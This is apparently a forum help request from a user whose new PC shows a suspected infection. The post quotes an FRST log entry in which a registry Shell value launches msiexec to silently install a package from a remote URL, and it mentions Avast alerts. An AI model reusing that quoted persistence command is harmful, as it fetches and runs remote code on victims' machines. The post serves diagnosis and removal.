Well , i bought this pc gamer from a physical store with the office, probably they cracked the office.

And i found this while reading the FRST: HKU\S-1-5-21-2097341823-3435128210-3467763070-1000.…\Policies\system: [Shell] explorer.exe,msiexec.exe /i http://point.orangeiloveyou.com/?data=zDlkPDQkEGRhnANcOTHcGdzkMTqyMWHcOWw5MF== /q

Is this the thing that avast is blocking? i mean the first infection was while i was watching some youtube videos then poped up Avast with an url and the process was: C:\Windows\System32\msiexec.exe
then after 1 hour the thing started.
